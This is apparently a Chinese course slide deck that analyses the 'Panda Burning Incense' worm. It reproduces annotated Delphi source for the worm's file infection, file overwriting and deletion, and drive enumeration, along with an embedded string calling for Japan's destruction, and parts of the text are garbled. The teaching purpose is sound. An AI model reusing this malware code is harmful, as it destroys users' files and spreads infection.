熊猫烧香病毒剖析

更新时间:2023-06-11 10:02:01 阅读量: 实用文档 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

计算机病毒与防治

Virus

重庆电子工程职业学院

计算机病毒与防治课程小组

教学单元4-4 蠕虫病毒防治第二讲 熊猫烧香蠕虫病毒剖析熊猫烧香病毒特点

熊猫烧香病毒源码分析

熊猫烧香病毒行为分析

熊猫烧香病毒的手工清除

计算机病毒与防治课程小组

熊猫烧香病毒特点

病毒名称又称

熊猫烧香

尼姆亚、武汉男生、worm.whBoy.、worm.nimaya.

病毒类型 蠕虫病毒

危险级别 ★★★★★

影响系统 Win 9X/ME/NT/2000/XP/2003

计算机病毒与防治课程小组

熊猫烧香病毒特点

2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,

该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账 号、QQ账号等功能。该病毒传播速度快,危害范围广,截至案发 为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破 坏,引起社会各界高度关注。

《瑞星2006安全报告》将其列为十大病毒之首,在《2006年度中

国大陆地区电脑病毒疫情和互联网安全报告》的十大病毒排行中 一举成为“毒王”。

计算机病毒与防治课程小组

熊猫烧香病毒特点熊猫烧香一个感染型的蠕虫病毒,它能感染系统中exe,com, pif,src,html,asp等文件,它还能中止大量的反病毒软件进 程并且会删除扩展名为gho的文件,该文件是一系统备份工具 GHOST的备份文件,使用户的系统备份文件丢失。

被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

计算机病毒与防治课程小组

熊猫烧香病毒特点病毒制造者

湖北省公安厅2007年2月12日宣布,根据统一部署, 湖北省网监在多个省市公 安机关的配合下,一举侦 破了制作传播“熊猫烧香” 病毒案,抓获李俊(男, 25岁,武汉新洲区人)。

计算机病毒与防治课程小组

熊猫烧香病毒源码分析病毒结构含有病毒体的文件被运行 后,病毒将自身拷贝至系 统目录,同时修改注册表 将自身设置为开机启动项, 并遍历各个驱动器,将自 身写入磁盘根目录下,增 加一个Autorun.inf文件, 使得用户打开该盘时激活 病毒体。随后病毒体开一 个线程进行本地文件感染, 同时开另外一个线程连接 网站下载ddos程序进行发 动恶意攻击。开始

当前操作系统是 否为win9x

通过远程映射技术将自己 映射到Explorer进程空间

是 把自己注册为服务进程

否 当前文件是否为 Japussy.exe

病毒程序已经寄生于宿主 程序,从已感染的宿主文 件中分离出无毒的真正的 宿主文件,并启动这个无 毒的宿主程序。

是 InfectFiles

结束

主程序流程图

计算机病毒与防治课程小组

熊猫烧香病毒源码分析病毒文件初始信息 Prog

ram japussy; uses windows, sysutils, classes, graphics, shellapi{, registry}; const headersize = 82432; //病毒体的大小 iconoffset = $12eb8; //pe文件主图标的偏移量 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { headersize = 38912; //upx压缩过病毒体的大小 iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量 } iconsize = $2e8; //pe文件主图标的大小--744字节 icontail = iconoffset + iconsize; //pe文件主图标的尾部 id = $44444444; //感染标记

计算机病毒与防治课程小组

熊猫烧香病毒源码分析

//垃圾码,以备写入 catchword = 'if a race need to be killed out, it must be yamato .'+ 'if a country need to be destroyed, it must be japan! ' + '*** w32.japussy.worm.a ***'; {$r *.res} function registerserviceprocess(dwprocessid, dwtype: integ er): integer; stdcall; external 'kernel32.dll'; //函数声明 var tmpfile: string; si: startupinfo; pi: process_information; isjap: boolean = false; //日文操作系统标记

计算机病毒与防治课程小组

熊猫烧香病毒源码分析{ =====判断是否为win9x =====}

function iswin9x: boolean; var ver: tosversioninfo; begin result := false; ver.dwosversioninfosize := sizeof(tosv ersioninfo); if not getversionex(ver) then exit; if (ver.dwplatformid = ver_platform_win 32_windows) then //win9x result := true; end;

计算机病毒与防治课程小组

熊猫烧香病毒源码分析{===== 在流之间复制===== } procedure copystream(src: tstream; ssta rtpos: integer; dst: tstream; dstartpos: integer; count: integer); var scurpos, dcurpos: integer; begin scurpos := src.position; dcurpos := dst.position; src.seek(sstartpos, 0); dst.seek(dstartpos, 0); dst.copyfrom(src, count); src.seek(scurpos, 0); dst.seek(dcurpos, 0); end;

计算机病毒与防治课程小组

熊猫烧香病毒源码分析{======将宿主文件从已感染的PE文件中分离出来,以备使用=====}procedure extractfile(filename: string); var sstream, dstream: tfilestream; begin try

sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try dstream := tfilestream.create(filename, fmcreate); try sstream.seek(headersize, 0); //跳过头部的病毒部分 dstream.copyfrom(sstream, sstream.size - headersize); finally dstream.free; end; finally sstream.free; end;

计算机病毒与防治课程小组

熊猫烧香病毒源码分析{===== 填充startupinfo结构 =====}procedure fillstartupinfo(var si: start upinfo; state: word); begin si.cb := sizeof(si); si.lpreserved := nil; si.lpdesktop := nil; si.lptitle := nil; si.dwflags := startf_useshowwindow; si.wshowwindow := state; si.cbreserved2 := 0; si.lpreserved2 := nil; end; { =====发带毒邮件===== } procedure sendmail; begin end; //此处省略了带危害性的代码

计算机病毒与防治课程小组

熊猫烧香病毒源码分析{=====感染PE文件=====} procedure infectonefile(filename: string); var hdrstream, srcstream: tfilestream; icos

tream, dststream: tmemorystream; iid: longint; aicon: ticon; infected, ispe: boolean; i: integer; buf: array[0..1] of char; begin try //出错则文件正在被使用,退出 if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染 exit; infected := false; ispe := false;

计算机病毒与防治课程小组

熊猫烧香病毒源码分析srcstream := tfilestream.create(filename, fmopenread); try for i := 0 to $108 do //检查pe文件头 begin srcstream.seek(i, sofrombeginning); srcstream.read(buf, 2); if (buf[0] = #80) and (buf[1] = #69) then //pe标记 begin ispe := true; //是pe文件 break; end; end; srcstream.seek(-4, sofromend); //检查感染标记 srcstream.read(iid, 4); if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染 infected := true; finally srcstream.free; end;

计算机病毒与防治课程小组

熊猫烧香病毒源码分析

if infected or (not ispe) then //如果感染过了或不是pe文件则退出 exit; icostream := tmemorystream.create; dststream := tmemorystream.create; try aicon := ticon.create; try //得到被感染文件的主图标(744字节),存入流 aicon.releasehandle; aicon.handle := extracticon(hinstance, pchar(filename), 0); aicon.savetostream(icostream); finally aicon.free; end;

计算机病毒与防治课程小组

熊猫烧香病毒源码分析srcstream := tfilestream.create(filename, fmopenread); //头文件 hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenyn one); try //写入病毒体主图标之前的数据 copystream(hdrstream, 0, dststream, 0, iconoffset); //写入目前程序的主图标 copystream(icostream, 22, dststream, iconoffset, iconsize); //写入病毒体主图标到病毒体尾部之间的数据 copystream(hdrstream, icontail, dststream, icontail, headersize icontail); //写入宿主程序 copystream(srcstream, 0, dststream, headersize, srcstream.size); //写入已感染的标记 dststream.seek(0, 2); iid := $44444444; dststream.write(iid, 4); finally

计算机病毒与防治课程小组

熊猫烧香病毒源码分析{=====将目标文件写入垃圾码后删除======} procedure smashfile(filename: string); var filehandle: integer; i, size, mass, max, len: integer; Begin try setfileattributes(pchar(filename), 0); //去掉只读属性 filehandle := fileopen(filename, fmopenwrite); //打开文件 try size := getfilesize(filehandle, nil); //文件大小 i := 0; randomize; max := random(15); //写入垃圾码的随机次数 if max < 5 then max := 5;

计算机病毒与防治课程小组

熊猫烧香病毒源码分析

mass := size div max; //每个间隔块的大小 len := length(catchword); while i < max do begin fileseek(filehandle, i * mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉 filewrite(filehandle, catchword, len); inc(i); end; finally fileclose(filehandle); //关闭文件 end; //删除之 deletefile(pchar(filename));

计算机病毒与防治课程小组

熊猫烧香病毒源码分析{ =====

获得可写的驱动器列表 =====}

function getdrives: string; var disktype: word; d: char; str: string; i: integer; begin for i := 0 to 25 do //遍历26个字母 begin d := chr(i + 65); str := d + ':\'; disktype := getdrivetype(pchar(str)); //得到本地磁盘和网络盘 if (disktype = drive_fixed) or (disktype = drive_remote) then result := result + d; end;

计算机病毒与防治课程小组

熊猫烧香病毒源码分析{=====遍历目录,感染和摧毁文件=====}procedure loopfiles(path, mask: string); var i, count: integer; fn, ext: string; subdir: tstrings; searchrec: tsearchrec; msg: tmsg; function isvaliddir(searchrec: tsearchrec): integer; begin if (searchrec.attr <> 16) and ( <> '.') and ( <> '..') then result := 0 //不是目录 else if (searchrec.attr = 16) and ( <> '.') and ( <> '..') then result := 1 //不是根目录 else result := 2; //是根目录 end;

计算机病毒与防治课程小组

本文来源:https://www.bwwdw.com/article/tfo1.html

Top